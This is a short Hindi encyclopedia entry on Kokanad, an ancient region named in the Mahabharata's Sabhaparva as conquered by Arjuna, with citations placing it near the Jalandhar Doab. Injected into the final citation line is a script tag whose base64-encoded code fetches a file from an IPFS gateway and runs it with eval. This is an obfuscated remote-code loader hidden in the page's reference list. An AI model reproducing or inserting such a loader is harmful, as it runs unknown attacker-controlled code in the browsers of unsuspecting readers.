कोकनद का उल्लेख महाभारत, सभापर्व में हुआ है-
'ततस्त्रिगर्ता: कौंतेयंदार्वा: कोकनदास्तथा, क्षत्रिया बहवो राजननुपाइवर्तन्त सर्वश:'[1]
- कुन्ती पुत्र अर्जुन ने कोकनद जनपद को त्रिगर्त और दार्व प्रदेशों के साथ ही जीता था।
- कोकनद की स्थिति इस प्रकार जालंधर द्वाब (पंजाब) के निकट होनी चाहिए।[2]
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टीका टिप्पणी और संदर्भ
- ↑ महाभारत, सभापर्व 27, 18.
- ↑ ऐतिहासिक स्थानावली |लेखक: विजयेन्द्र कुमार माथुर |प्रकाशक: राजस्थान हिन्दी ग्रंथ अकादमी, जयपुर |पृष्ठ संख्या: 229 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>